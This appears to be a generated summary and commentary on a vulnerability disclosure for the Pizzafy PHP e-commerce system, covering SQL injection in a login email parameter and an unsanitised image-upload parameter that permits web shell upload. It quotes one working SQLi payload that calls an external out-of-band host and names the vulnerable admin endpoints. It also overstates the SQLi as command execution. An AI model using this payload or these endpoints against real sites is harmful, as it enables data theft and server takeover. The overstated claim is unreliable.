[webapps] pizzafy

The information details two distinct, critical security vulnerabilities discovered within the Pizzafy e-commerce system, referenced under the title "pizzafy-1.0 - SQLi." The first issue is a documented SQL injection vulnerability present in an email parameter, where an injected payload successfully executed MySQL's `loadfile` function against an external domain via a UNC path reference. This indicates direct command execution capability through the database layer using specific syntax.
The second, and more critical, vulnerability involves improper sanitization of the "img" parameter within the page=menu section. This flaw allows for the execution of a shell upload exploit, enabling an attacker to deploy arbitrary code directly onto the server. The materials provided include Python scripts demonstrating both the SQLi attack via POST request against `ajax.php?action=login2` and a complex multipart form data payload designed to execute a web shell upload during menu saving.
The source attributes these findings to "nu11secur1ty" and provides links for reproduction, suggesting this material functions as a vulnerability disclosure or proof-of-concept demonstration rather than standard news reporting.

An author named nu11secur1ty released documentation titled "pizzafy-1.0 - SQLi."
The documented software is Pizzafy Ecommerce System using PHP and MySQL, originating from a GitHub repository linked to sourcecodester.com.
A vulnerability exists where the email parameter is susceptible to SQL injection attacks.
An example payload for the SQLi attack involved submitting '+(select loadfile('\\\\ig25s4ulz5432zyjjg8kjeasxj3cr5ht8wwoje73.oastify.com\\gyf'))+'.
This injected query forced MySQL to interact with an external domain via a UNC path reference.
A second vulnerability allows for shell upload exploitation via the "img" parameter on page=menu in the menu section.
This file upload is marked as CRITICAL status by the author.
A Python script was provided demonstrating the file upload exploit targeting https://pwnedhost.com:443/Pizzafy/admin/ajax.php?action=savemenu
Another HTTP request example detailed an SQLi attempt against POST /Pizzafy/admin/ajax.php?action=login2 using an email parameter payload.
The disclosure references demonstration and reproduction links on the Odysee platform.

This content functions primarily as a technical vulnerability advisory or proof-of-concept release, masquerading under the framework of discovery rather than journalistic investigation. The narrative is highly centralized: establishing definitive fault in the target software (Pizzafy) through demonstrated exploit vectors—SQL injection and remote code execution via file upload.
The strength of this disclosure lies in the detailed reproducibility proofs; the inclusion of specific HTTP requests, payloads, and scripts lends significant apparent authority to the claims. The implicit assumption driving this narrative is that unpatched, common vulnerabilities in legacy web systems represent an inevitable risk profile for any application developer. Conversely, it suggests a failure of modern secure development practices across multiple domains (input validation, database query safety).
The implication here transcends simple software patching; it highlights systemic weaknesses in the security lifecycle where input data integrity (SQLi) and file handling protocols (shell upload) are demonstrably compromised simultaneously within one codebase. The beneficiaries are those who utilize such exploit documentation—researchers, threat actors seeking leverage, or developers seeking to patch defensively. The cost is potential compromise of any system utilizing this specific architecture without robust security hardening.
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